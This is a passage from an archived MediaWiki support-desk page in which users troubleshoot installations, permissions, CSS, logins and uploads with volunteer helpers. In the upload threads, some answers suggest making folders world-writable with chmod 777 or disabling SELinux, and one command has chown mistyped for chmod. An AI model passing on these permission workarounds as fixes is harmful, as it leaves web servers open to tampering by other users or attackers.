p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)

Processing archive: mediawiki-1.23.8.tar.gz

Extracting mediawiki-1.23.8.tar Data Error

Sub items Errors: 1

------------------------
I also tried a Window machine and use WinRar to unzip the file and got the 'File is corrupted' error.

Can you suggest what could be wrong here ?

Many thanks [[Special:Contributions/113.160.94.182|113.160.94.182]] ([[User talk:113.160.94.182|talk]]) 07:06, 12 January 2015 (UTC)
:Hello!
:Can you retry it with a new copy of [https://releases.wikimedia.org/mediawiki/1.23/mediawiki-1.23.8.tar.gz MediaWiki]? I tried it, and it works without problems, so i think, that something went wrong while you downloaded the archive :/ [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 07:48, 12 January 2015 (UTC)

== Getting started as Admin (user rights) ==

Good morning,

Mediawiki version 1.24
PHP 5.4
mysql 5.6.22
Installation via Softaculous
site www.footballgameswiki.com

I have just installed mediawiki (via Softaculous) and looking at my profile as sysop I didnt have "User Rights" linked to my Preferences page as I saw on some tutorials I was watching.

I have located the local settings .php (which has no group rights listed), the default settings .php (which has group rights) and the autoloader .php. I am unsure if, as per the warning about the autoloader being necessary, I have to move the autoloader page in order to 'activate' the user rights. And then I am unsure from the manual if I should be setting rights in the localSettings.php or in the defaultSettings.php.

I hope my newby questions aren't totally left field and misinformed. Any supplementary links that would help in addition to the manual would also be much appreciated. [[Special:Contributions/93.45.177.125|93.45.177.125]] ([[User talk:93.45.177.125|talk]]) 10:49, 12 January 2015 (UTC)
:Addendum
:So I understand now that I should not edit defaultSettings but instead overwrite via localSettings. However I am still not sure why I have no access to user right information from inside the wiki (logged in as sysop). [[Special:Contributions/93.45.177.125|93.45.177.125]] 11:52, 12 January 2015 (UTC)
::> I didnt have "User Rights" linked to my Preferences page
::I don't know understand, what you expect to see there? Have you an example of a tutorial which you referring to? [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 13:16, 12 January 2015 (UTC)
:::Generally the additional user rights do not show up as a section or so in the preferences, they instead do appear as e.g. additional tabs and buttons in the MediaWiki interface, e.g. as a "Protect" tab and a "Delete" tab next to "View" and "Page history".
:::What however ''should be'' displayed in the preferences is the group membership of the user account. Meaning it should not only say "User", but something like "User, Administrator, Bureaucrat". Is this what you do not see? [[Special:Contributions/88.130.126.10|88.130.126.10]] 16:50, 12 January 2015 (UTC)
:::Hello and thank you, the video where I saw a different layout was on you tube called "MediaWiki Tutorial Groups Permissions". Although being 5 years old things must have moved on. What has confused me was the manual wording and the notes within the php documents. [[Special:Contributions/93.41.103.32|93.41.103.32]] 21:15, 12 January 2015 (UTC)
::::(cont)
::::I have access to page security but in that rather old video there was a handy list of all permissions for all user right groups. So this then is not available anymore? [[Special:Contributions/93.41.103.32|93.41.103.32]] 21:33, 12 January 2015 (UTC)
::::The according video shows MediaWiki 1.14 and the user shown there ''is'' in the admin and bureaucrat groups. The preferences page shows exactly that (second 39) and in this version MediaWiki obviously showed a link "User group rights". This page can be found as a page in your wiki at ''Special:ListGroupRights''. Access to this page is not restricted to any special user group - even users, who are not logged in can view it.
::::Settings should always be made in LocalSettings.php, not in DefaultSettings.php. Note that these file names are case sensitive (so it is ''not'' defaultSettings.php). [[Special:Contributions/88.130.126.10|88.130.126.10]] 21:41, 12 January 2015 (UTC)
:::::Excellent. Thank you. This can be considered resolved! [[Special:Contributions/93.41.103.32|93.41.103.32]] 22:35, 12 January 2015 (UTC)

== Mediawiki in a cluster ==

Hi,

I seem to have troubles finding instructions or guidelines on how to convert a single server mediawiki instance into a clustered environment. Or at least high available of some sort, without having to be a real cluster....
What would be the best course of action ?
Have one active mediawiki server that replicates the mysql changes to the second (inactive) server ?
And in case of a calamity just start Apache on the second server so the wiki becomes available ?

Any help would be greatly appreciated. Links to pages describing this very problem (that I couldn't find) are welcome as well.

Thank you,

Hans [[Special:Contributions/193.173.195.13|193.173.195.13]] ([[User talk:193.173.195.13|talk]]) 09:07, 13 January 2015 (UTC)
:https://www.mediawiki.org/wiki/Manual:$wgDBservers ? [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 11:32, 14 January 2015 (UTC)

== Mediawiki and SMTP server ==

I'm posting on behalf of another person.

"please someone help me to integrate SMTP server with mediawiki.
I can not confirm my email, trying to use my email which is set on smtp server (windows).
I am not familiar with developing programs but have read and applied most of the instruction that found in google like: using sendmail and PEAR for php, changing the php.ini and ...
I need to use port 27 of my server

this is from sendmail.ini

<pre>smtp_server='192.168.......' "the ip address of the smtp (exchange) server "
#mail.mydomain.com
;smtp port (normally 25)
smtp_port=27
</pre>

this is from php.ini

<pre>[mail function]mail
; For Win32 only.
; http://php.net/smtp
SMTP ='http://192.168....' "the ip address of the smtp (exchange) server "
; http://php.net/smtp-port
smtp_port = 27

; For Win32 only.
; http://php.net/sendmail-from
sendmail_from = you@yourdomain

; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
; http://php.net/sendmail-path
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"
</pre>

and this is from LocalSetting.php

<pre>#Email

$wgSMTP = array(
'host' => "http://192.168.....", "the ip address of the smtp (exchange) server "
'IDHost' => "Name of the exchange server",
'port'=> 27,
'auth' => false,
);
</pre>

any help would be really appreciated.

Regards,
Poopak "

Facebook thread: https://www.facebook.com/groups/2205099323/permalink/10152990921324324/ [[User:Elitre (WMF)|Elitre (WMF)]] ([[User talk:Elitre (WMF)|talk]]) 10:12, 13 January 2015 (UTC)
:Can someone please remove my post? It's a dupe of https://www.mediawiki.org/w/index.php?title=Project%3ASupport_desk&offset=20150110015341&limit=20#email_confirmation_for_mediawiki_52647 . Apologies I didn't notice this earlier. [[User:Elitre (WMF)|Elitre (WMF)]] ([[User talk:Elitre (WMF)|talk]]) 10:46, 13 January 2015 (UTC)

== MediaWiki only Accessable through IP ==

Hello, in order to access the wiki we have setup we can only access it via the IP of the server, but not by the host name of the server. Any suggestions? [[Special:Contributions/12.159.67.66|12.159.67.66]] ([[User talk:12.159.67.66|talk]]) 17:08, 13 January 2015 (UTC)
:I understand that you can access your wiki only using the IP address, but not with a domain name.
:If this does not only occur with MediaWiki pages, but with ''any'' webpage in that server, then it sounds like an Apache configuration issue to me.
:Possibly you also have [[Manual:$wgServer|$wgServer]] configured incorrectly in MediaWiki's LocalSettings.php file. [[Special:Contributions/88.130.111.117|88.130.111.117]] 18:10, 13 January 2015 (UTC)

== Any extensions or advice about implementing "OR" queries (semantic mediawiki) ==

I am planning how to structure my categories and properites for a Semantic MediWwiki. I have downloaded the latest Semantic Bundle (which includes Semantic Forms).

Looking at the Semantic Forms it appears that all queries use AND for the fields requested, is there any way to implement OR queries?

For example: a capital city beginning in 'B' in Africa OR Europe. [[Special:Contributions/93.45.191.211|93.45.191.211]] ([[User talk:93.45.191.211|talk]]) 21:34, 13 January 2015 (UTC)
:Found a starting point
:see smw..../wiki/Help:Selecting_pages (cant put in a link)
:see the section Unions of query results: disjunctions [[Special:Contributions/93.49.5.126|93.49.5.126]] 08:23, 14 January 2015 (UTC)

== [RESOLVED] take the client back in the browser history ==

I'm looking at https://www.mediawiki.org/wiki/Extension:BrowserHistoryLink but my server still has PHP 5.2.28
 

Is there a way to get <nowiki><historylink type="back" /></nowiki> working for me? [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 22:12, 13 January 2015 (UTC)
:What is the problem? The extension only needs PHP 5.2.3 and you have 5.2.28. That should not cause problems! [[Special:Contributions/88.130.69.172|88.130.69.172]] 23:50, 13 January 2015 (UTC)
::Thank you for your prompt reaction. I get the following error message:
:: 
::<nowiki>Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method BrowserHistoryLink::render() should not be called statically in /www/htdocs/drebbel/wiki/includes/parser/Parser.php on line 4156</nowiki> [[Special:Contributions/217.123.55.84|217.123.55.84]] 08:30, 14 January 2015 (UTC)
:::That's a problem in the extension itself. The method BrowserHistoryLink::render() ins't defined statically, but the Extension defines the Parser hook to be called statically. This should be fixed in the Extension, but i think that it isn't maintained anymore (you should ask on the talk page). [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 08:54, 14 January 2015 (UTC)
::::I managed to find a solution as follows: 
:::: 
::::In BrowserHistoryLink.class.php I changed the render function into static and suppressed wfLoadExtensionMessages('BrowserHistoryLink') 
::::{| class="wikitable"
::::|-
::::| public function render($input, $args, $parser) { 
:::: // Internationalization 
:::: wfLoadExtensionMessages('BrowserHistoryLink'); 
::::|}
::::into 
::::{| class="wikitable"
::::|-
::::| public static function render($input, $args, $parser) { 
:::: // Internationalization 
:::: // wfLoadExtensionMessages('BrowserHistoryLink'); 
::::|}
::::And provided arguments to the function <historylink type="back" go="1" style=""></historylink> 
:::: [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 10:06, 14 January 2015 (UTC)

== Can't get "Main Page" off of my starting page. ==

My subject says it all. There is this "Main Page" header that I can't edit, which is really annoying. I want to take that off and put something in its place. How do I do that?

Thanks I know I am really nooby at this, but I just started.

Thank you. [[Special:Contributions/71.10.173.151|71.10.173.151]] 01:56, 14 January 2015 (UTC)
:If you just want to hide it, that can be done with CSS. Add the following to your [[MediaWiki:Common.css]]:
:<source lang="css">
.action-view.page-Main_Page .firstHeading {
display: none !important;
}
</source>
:If you want to just change the text entirely, see [[Help:Magic words#Displaytitle]]. [[User:Legoktm|Legoktm]] ([[User talk:Legoktm|talk]]) 03:18, 14 January 2015 (UTC)
::I wouldn't know where to start with that. I was able to use mozialla's built in web developer tools to look at the HTML coding, which I have some experience with. I figured out where to make the changes, and the changes appear after you type in the changes. However, when I go to refresh the webpage, the old code comes back. How do I push my changes to the server so that my changes stick? [[Special:Contributions/71.10.173.151|71.10.173.151]] 05:08, 14 January 2015 (UTC)
:::I think you refer to the hide-part in Legoktm's post? You need to edit the page "MediaWiki:Common.css" and add the css content into it. See: [[Manual:Interface/Stylesheets]] [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 08:44, 14 January 2015 (UTC)

== Plainlist ==

I try to get the Plainlist thingy from Wikipedia going, but what I get is lists with bullets ... What would be the error?

I have created a template with this content:

<nowiki>
<div class="plainlist {{{class|}}}" {{#if:{{{style|}}}{{{indent|}}}|style="{{#if:{{{indent|}}}|margin-left: {{#expr:{{{indent}}}*1.6}}em;}} {{{style|}}}"}}>{{#if:{{{1|}}}|
{{{1}}}
</div>}}
</nowiki>

and I call the template on a different site and supposedly it is even used ... but the result is not as expected. Any explanation.
https://en.wikipedia.org/wiki/Template:Plainlist [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 11:08, 14 January 2015 (UTC)
:Hi,
:you need to add the .plainlist class of https://en.wikipedia.org/wiki/MediaWiki:Common.css to your own MediaWiki:Common.css :) (Just search for ".plainlist"). [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 14:21, 14 January 2015 (UTC)
::I did this back then, but I had not been able to access it. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 16:22, 14 January 2015 (UTC)

== Special Pages is Blank and PHP error log blames skin template ==

Mediawiki version 1.24 PHP 5.4 mysql 5.6.22

My special pages is blank (no header etc)

The error log outputs one of two different lines

[14-Jan-2015 11:37:55 UTC] PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 49152 bytes) in /home/XXXXX/public_html/includes/skins/SkinTemplate.php on line 1347
[14-Jan-2015 11:48:02 UTC] PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 12288 bytes) in /home/XXXXXXXX/public_html/includes/skins/SkinTemplate.php on line 1587

I have seen similar questions asked elsewhere but no explanation. [[Special:Contributions/93.49.5.126|93.49.5.126]] 12:00, 14 January 2015 (UTC)
:I have added this is LocalSettings
:ini_set( 'memory_limit', '32M' ); [[Special:Contributions/93.49.5.126|93.49.5.126]] 12:02, 14 January 2015 (UTC)
::Try with something more; 128M should be fine nowadays. [[Special:Contributions/88.130.69.172|88.130.69.172]] 12:39, 14 January 2015 (UTC)
:::Thanks but 128M made no difference.
:::Also I have inserted
:::error_reporting( E_ALL );
:::ini_set( 'display_errors', 1 );
:::at top of php code and that also outputs nothing.
:::Error log file still outputs same problem [[Special:Contributions/93.41.108.2|93.41.108.2]] 10:07, 15 January 2015 (UTC)
::::Try disabling all extensions. An infinite loop or recursion could also cause those problems. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:49, 15 January 2015 (UTC)

== User Cannot Login ==

I recently upgraded a wiki (I can't provide a link) from v1.20.2 to v1.24.1. Now certain users are able to login while others cannot. The ones that cannot are presented the need to login page repeatedly (input credentials, hit submit, need to login page returns). I have access to two user accounts, one that can login and one that cannot, and I can test them on the same laptop at the same time.

I turned on all the debugging I could and was able to note the wikiToken and wiki_session values in the browser for each user. I compared these values to the user_token in the database table "users" and I compared these to the session file values. For the both user accounts, the wiki_session and session file name are the same value and change with each login (I assume this is the expected behavior).

For the user account that works, the wikiToken (from the browser), user_token (from the database) and wsloginToken (from the session file) all remain the same for each login/logout. If I don't check the keep me logged in, the wikitoken (from the browser) disappears.

For the user account that doesn't work, wikiToken (from the browser) and the wsloginToken (from the session file) are equal to each other but they change for every login attempt. The user_token (from the database) remains the same and never equal to the other two values.

I assume this is an issue with the session file creation but I have no idea where to look or how to address it.

Thanks
Bill
MW v1.24.1, PHP v5.5.20, MySQL v5.7.2 [[User:Demasb|Demasb]] ([[User talk:Demasb|talk]]) 13:37, 14 January 2015 (UTC)
:Look in the [[Manual:user table|user table]] and check the case and presence of underscores in the user_name field. Maybe it has underscores or uppercase letters on it that cause it to not be recognized by MediaWiki [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:41, 15 January 2015 (UTC)

== What is the server directory/file that holds the HTML/CSS code for the website? ==

I'm trying to make HTML changes to my homepage, but I can't find for the life of me thru all the files on my server, where I make those changes.

Please help. [[Special:Contributions/71.10.173.151|71.10.173.151]] 20:38, 14 January 2015 (UTC)
:The HTML of the page is generated dynamically, the basic construct of the page is called the skin which you can find in skins/{skinname}/. There should be a Template which you can edit and change like you want.
:The CSS is normally not centralized, so that special css rules can come from MediaWiki core, from the skin and others come maybe from extensions. They will be merged into one (better less) big css files and delivered by the ResourceLoader to the client. To change a css element of the skin you can look into the skin folder and find the less/css directory and change your things there. An alternative can be the [[MediaWiki:Common.css]] on-wiki page; the css code will load on every pageload.
:For more information you can read [[Manual:Skinning]].
:If you give further information about '''what''' you want to change, maybe we can help better :) [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 07:50, 15 January 2015 (UTC)
::Thank you so much for teaching me about things!
::I was the one that posted earlier that there is a "Main Page" that I can't edit thru MediWiki, I have to go on the server backend. He gave me CSS code, which I plan on using, but he didn't tell me where to put it. So I've been struggling trying to figure this out on my own, but I don't know what to do.
::Thank you so much for your help. [[Special:Contributions/71.10.173.151|71.10.173.151]] 18:17, 15 January 2015 (UTC)
:::Hi :) I think you mean [[Thread:Project:Support desk/Can't get "Main Page" off of my starting page.]]??? If yes, just open MediaWiki:Common.css on your wiki (like every other page), click edit and insert the css code legoktm posted. Save the page -> that's all :) [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 23:01, 15 January 2015 (UTC)
::::Just for reference, a manual page about places to add custom CSS is at [[Manual:Interface/Stylesheets]] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:43, 16 January 2015 (UTC)
::::Hey it's me again. First I want to say thank you so much for your help. I'm obviously really new to this, in over my head, and you are showing that the community is a great community to get help from.
::::But I need your help once again. If I use the code provided in that post (and yes that is the right post) it works in taking away the text. But I want to put text in instead of "Main Page". So I altered the code. Where there is "none" I put Gaming Database Online, Gaming_Database_Online, and "Gaming Database Online" and nothing worked. It just went back to main page.
::::I first thought I had to edit the CSS, PHP, among other things on the server back end. So for example, from what I can tell, Localsettings.php is edited on the server end and then pushed to the server. It interests me a lot that I can do some of these changes thru the wiki. Is CSS the only thing I can do thru the wiki? Could I set my logo path thru the wiki, or do I have to go to Localsettings.php and modify it on the server end?
::::Sorry for all of this, but I am a complete noob. I kind of went in over my head, I thought I could figure things out, but some things are not explained in the Mediawiki wiki page. So for example, it tells you about Mediawiki:common.css but it doesn't tell someone completely new how to access it! You did, and I thank you for it.
::::So once again, I need you to rescue me from my noobiness. :) Thank you. [[Special:Contributions/71.10.173.151|71.10.173.151]] 18:51, 16 January 2015 (UTC)
:::::If you want it to say something else, just move the page. [[Special:Contributions/137.147.80.84|137.147.80.84]] 04:35, 17 January 2015 (UTC)
:::::About the logo, you can upload your logo through the Special:Upload page (there's a convention to name the logo "Wiki.png"). Then, set in LocalSettings.php the logo URL to the uploaded file. Then, whenever you upload a new version of the logo, it will be updated without the need to change LocalSettings.php again. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 14:00, 17 January 2015 (UTC)
::::::I would not do that: The only advantage you have by uploading the logo through MediaWiki is that you can easily replace it with a changed version. But how often does that happen? On the other hand you have the danger that one day you come back to your wiki and some jerk has overwritten your logo with some junk, which now comes up on every of your wiki's pages. You could now protect the logo file to prevent that, but also that is only a crutch: In order to make use of your logo you will have to change LocalSettings.php and so you will need file system access anyway. But if you have that, then you can also simply upload the image at a safe place. Then you don't have to worry, if it - and maybe only through a bug in MediaWiki - could be manipulated by malicious users. [[Special:Contributions/88.130.89.243|88.130.89.243]] 14:51, 17 January 2015 (UTC)

== "Failed to retrieve directory listing" error ==

Just downloaded the new version as of 1/14/2015. When I log in I get
"connection timed out
failed to retrieve directory listing"
a couple of lines before that I got
"server does not support non-Ascii characters"
My ISP - Godaddy says they can connect to my FTP account.
I was able to log in before I installed the update to 3.10.0.1 [[Special:Contributions/76.182.76.236|76.182.76.236]] 23:11, 14 January 2015 (UTC)
:Hi!
:I think you are wrong here:
:Which software are you talking about? There is no MediaWiki version from January 14th, except the development version, which you are not the target group of. The current version 1.24.1 - a version 3.10.0.1 has never been released. Furthermore, the fact whether MediaWiki is available on a webspace or not, does not influence the function of FTP accounts. [[Special:Contributions/88.130.72.161|88.130.72.161]] 00:02, 15 January 2015 (UTC)

== Can't see what i publish ==

Hello,
My configuration is :
Mediawiki 1.21.2
phpmyadmin 4.0.10.6
Actually, I have a problem with my media wiki, i can't see what i published. But in the modification, i see all.
I don't understand why.
So i wanted to upgrade to 1.24 but when the upgrade begun, it the same, the intructions don't appear.
You can visit the site to this address : espace-client-gismartware.com/mw/index.php?title=Accueil
Thanks for help.
GiSmartware [[User:Gismartware|Gismartware]] ([[User talk:Gismartware|talk]]) 08:23, 15 January 2015 (UTC)
:See [[Manual:Errors and symptoms#All pages have no content, but when editing a page the wiki text is there]]
:Recent versions of MediaWiki shouldn't have this problem, though.
:Your wiki requires login to see contents. Set up a debug log as explained in [[Manual:How to debug]] and look for any warning or error condition [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:44, 15 January 2015 (UTC)

== Can mediawiki draw flowcharts with embedded links? ==

Is there an extension that can draw flowcharts with clickable links embedded?
E.g. if the user provides PlantUML - style code
<nowiki>
Source - Target: [[Page_for_relation relation]]
</nowiki>
then a box marked Source will be drawn with a line going to a box marked Target, and the line will be marked with a link showing "relation". The text "relation" will be a clickable link which links to a page titled Page_for_relation?

I've tried to install the extension Flowchartwiki but I don't think I have enough permissions to install the required graphviz software on the webhost. [[User:OwenKS|OwenKS]] ([[User talk:OwenKS|talk]]) 09:00, 15 January 2015 (UTC)

== Failed to set the local repo temp zone container to be private ==

<source lang="bash">
Setting up internal property indices ...
... space for internal properties already allocated.
... writing entries for internal properties ... done.
Internal properties initialized successfully.
...site_stats is populated...done.
...Update 'populate rev_len and ar_len' already logged as completed.
...Update 'populate rev_sha1' already logged as completed.
...img_sha1 column of image table already populated.
...protocol-relative URLs in externallinks table already fixed.
...fa_sha1 column of filearchive table already populated.
...*_from_namespace column of backlink tables already populated.
Failed to set the local repo temp zone container to be private.
Purging caches...done.
</source>
Why do I get this error: '''Failed to set the local repo temp zone container to be private'''

It is from [https://github.com/wikimedia/mediawiki/blob/master/includes/installer/DatabaseUpdater.php here], but I failt to get the direction or file that is supposed to create the problem. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 09:28, 15 January 2015 (UTC)

== Portals ==

Hi,
I'm using the last version of mediawiki with a MariaDb. I'm triying to create a portal using templates as shown in the manual instructions. I've added the Namespace to localsettings.php and then created a new page and put into the code Portal:Topic. Then I click in this link and I've pasted {{subst:box portal skeleton}}. The following step is to add a template but I'm blocked on it. Could you help me?

Thanks in advance [[User:Jjimenezs|Jjimenezs]] ([[User talk:Jjimenezs|talk]]) 14:30, 15 January 2015 (UTC)
:Just for reference to others, you're following the [[Portals]] manual.
:To understand what templates are and how to use them, see [[Help:Templates]]. Basically, <code><nowiki>{{subst:box portal skeleton}}</nowiki></code> tells MediaWiki to ''subst''itute it with the contents of <nowiki>[[Template:box portal skeleton]]</nowiki>. But the page <nowiki>[[Template:box portal skeleton]]</nowiki> must exist on your wiki beforehand!
:You may need to copy that template from wikipedia, and other required templates for having it working. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:41, 16 January 2015 (UTC)

== Can no longer upload files ==

I really need help here. I've had mediawiki install for almost a year. All is good, but today, image uploading stopped working. When I hit submit, I get this at the top of the page:
Warning: wfMkdirParents: failed to mkdir "D:\Hosting\10143616\html\wiki\images\f\fb" mode 0777 in D:\Hosting\10143616\html\wiki\includes\GlobalFunctions.php on line 2582

And I get this upload warning:
Could not create directory "mwstore://local-backend/local-public/f/fb".

Here's my version info:
MediaWiki 1.21.1
PHP 5.3.6 (cgi-fcgi)
MySQL 5.0.96-log

I'm hosted in a shared account on godaddy.com. The server is Windows.
I need help diagnosing and solving this problem. Thanks! [[User:Jenkins1967|Jenkins1967]] ([[User talk:Jenkins1967|talk]]) 00:09, 16 January 2015 (UTC)
:<source lang="php">
if ( !$ok ) {
//directory may have been created on another request since we last checked
if ( is_dir( $dir ) ) {
return true;
}
// PHP doesn't report the path in its warning message, so add our own to aid in diagnosis.
wfLogWarning( sprintf( "failed to mkdir \"%s\" mode 0%o", $dir, $mode ) );
}
</source>
:This indicates that MW attempts to create a folder that already exists. Could you check this, please? [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:57, 16 January 2015 (UTC)
::The wfLogWarning is outside the <code>if ( is_dir( $dir ) ) {</code>, so the directory doesn't exist, but it failed to create it.
::The problem may be permissions on the parent directory (maybe if you imported images somehow, or did any permission change in the directory structure).
::Alternatively, try creating the folder manually, to see if you ran into some resource limit on the server (like a maximum allowed number of folders/files, etc) [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:49, 16 January 2015 (UTC)
:::Before this problem, I changed absolutly nothing. Of course, that doesn't mean that godaddy didn't somehow. In an attempt to fix the problem, I did chmod 777 on the entire wiki folder. Still nothing.
:::Through FTP, I am able to create a directory within the images directory without issue. [[User:Jenkins1967|Jenkins1967]] ([[User talk:Jenkins1967|talk]]) 12:41, 16 January 2015 (UTC)
::I attempted another upload. The directory that it tried to make was \0\06. It failed and it does not exist. [[Special:Contributions/167.15.253.4|167.15.253.4]] 12:38, 16 January 2015 (UTC)
:::Do you have log files that you can check for errors? [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 13:18, 16 January 2015 (UTC)
::::I'm a newb. How do I do that? [[Special:Contributions/173.61.230.21|173.61.230.21]] 02:31, 17 January 2015 (UTC)
:::::[[Manual:How to debug#Setting up a debug log file]] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 14:05, 17 January 2015 (UTC)

== Cannot upload Image ==

I've installed Mediawiki v1.24.1 on my server which is running RHEL7. I've installed it under /var/www/foohelp/wiki. However, when I try to upload a file, I get the following error:

[f3eae72a] /foohelp/wiki/index.php/Special:Upload Exception from line 1871 of /var/www/foohelp/mediawiki-1.24.1/includes/filerepo/file/LocalFile.php: Could not acquire lock for 'User-default.png.'
Backtrace:
#0 /var/www/foohelp/mediawiki-1.24.1/includes/filerepo/file/LocalFile.php(1174): LocalFile->lock()
#1 /var/www/foohelp/mediawiki-1.24.1/includes/upload/UploadBase.php(738): LocalFile->upload(string, string, string, integer, array, boolean, User)
#2 /var/www/foohelp/mediawiki-1.24.1/includes/specials/SpecialUpload.php(467): UploadBase->performUpload(string, string, boolean, User)
#3 /var/www/foohelp/mediawiki-1.24.1/includes/specials/SpecialUpload.php(186): SpecialUpload->processUpload()
#4 /var/www/foohelp/mediawiki-1.24.1/includes/specialpage/SpecialPage.php(363): SpecialUpload->execute(NULL)
#5 /var/www/foohelp/mediawiki-1.24.1/includes/specialpage/SpecialPageFactory.php(584): SpecialPage->run(NULL)
#6 /var/www/foohelp/mediawiki-1.24.1/includes/MediaWiki.php(275): SpecialPageFactory::executePath(Title, RequestContext)
#7 /var/www/foohelp/mediawiki-1.24.1/includes/MediaWiki.php(584): MediaWiki->performRequest()
#8 /var/www/foohelp/mediawiki-1.24.1/includes/MediaWiki.php(435): MediaWiki->main()
#9 /var/www/foohelp/mediawiki-1.24.1/index.php(46): MediaWiki->run()
#10 {main}
If I edit /includes/filebackend/FileBackendGroup.php and modify LockManager to

'lockManager' => 'fsLockManager',
and modify permissions as follows:

chown -R apache:apache images/
chown -R 755 images/
I get the following error:

(Could not create directory "mwstore://local-backend/local-public)
Any help would be appreciated. [[User:Vprashant1|Vprashant1]] ([[User talk:Vprashant1|talk]]) 02:49, 16 January 2015 (UTC)
:755 might not be enough. Either you use 777 or set up a special enviroment with ACL instead of UID and GID. We had the same problem yesterday and solved it with a set of ACLs for our system. We are not yet satisfied with the outcome but the system appears to be running as it should.
:Personally, I would recommend ACL, because it is better able to handle the various rights issues. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:49, 16 January 2015 (UTC)
::That's true. But I'd like to set up this wiki such that any user can access it, but certain users across the globe can edit it if they are editors without necessarily giving them access to the server and setting up permissions.
::(I am a little new to this, so I apologize if I did not follow your point correctly. An example or a link would really help). [[User:Vprashant1|Vprashant1]] ([[User talk:Vprashant1|talk]]) 19:40, 18 January 2015 (UTC)
:::You misunderstood it. In order to setup the Wiki secure and sound you can either use the normal UID and GID settings or this:
:::https://doc.opensuse.org/documentation/html/openSUSE_121/opensuse-security/cha.security.acls.html
:::This has nothing to do with what you have pointed towards. A normal user does not have any access on the server, but deals with the Wiki and the content thereon. Yet, in order to handle the aspect of a save server, the settings, especially when there are more than one user, needs to be dealt with carefully.
:::To give the apache access to the images folder has its downsites as does a 777 on the folder. Especially when there are more than one user on a server. That is where the ACLs come into play.
:::But as you are new to this "universe", you may want to start with a 777 on the images folder and set up stricter restrictions over time, with more experience and a better understanding on how things are and how things work. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 09:34, 19 January 2015 (UTC)
::::I tried 777 on the images folder. I get the same error. [[User:Vprashant1|Vprashant1]] ([[User talk:Vprashant1|talk]]) 02:49, 27 January 2015 (UTC)
:::::Try disabling SELinux to see if SELinux is the problem. If this solves the problem, either keep SELinux disabled or configure it properly.
:::::Also, you could also setup a [[Manual:How_to_debug|debug log]] to see exactly what physical directory is trying to create (instead of a nonsensical ''mwstore://local-backend/local-public'') to check if this is the expected location of your images folder or you mistyped something. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:31, 27 January 2015 (UTC)

== Force page add to users Watchlist ==

Dear all.

Does anyone know of a way to add a certain page to all users Wathclist? I have a page where major changes are beeing noted - mutch like a changelog. I would like to force this page onto everyones Watchlist. Is it possible?

Regards [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 08:59, 16 January 2015 (UTC)
:You could run an according SQL query on the database table [[Manual:Watchlist_table|watchlist]] and insert the two(!) pages (normale page and talk page) for each user. This might however fail in the case of a user, who ''already watches'' the page. The easiest solution for this problem might be to check wl_namespace and wl_title in order to remove the two pages from every user and then in a second step to add them to all users (which then will ''not'' fail). [[Special:Contributions/88.130.124.129|88.130.124.129]] 12:02, 16 January 2015 (UTC)
::I see. All throught the database. Sounds a bit risky. I have some basic knowlege about SQL, but I don't think I'll go down that road quite yet. I'll keep it in mind and test in a VMWare copy some day. Thanks you for your reply. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 22:48, 16 January 2015 (UTC)
:Sounds like you'd be better off just putting up a site notice. Do you really need to force your users to watch a page? [[Special:Contributions/137.147.80.84|137.147.80.84]] 12:20, 18 January 2015 (UTC)
::'Site notice' was new to me. I briefly googled it. It seems like that could serve my purpose. I just want my inform my users of important changes and only thought of e-mail. Thanx Mr/Miss 137.147.80.84.
::I just love MediaWiki. It amazes me how much extensions and functionality there are available. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 20:59, 18 January 2015 (UTC)

== Paragraph numbering and TOC ==

We're using MediaWiki to host our internal company policies, and need to be able to create pages with the following layout:

1 Subject One 
1.1 Paragraph one text here 
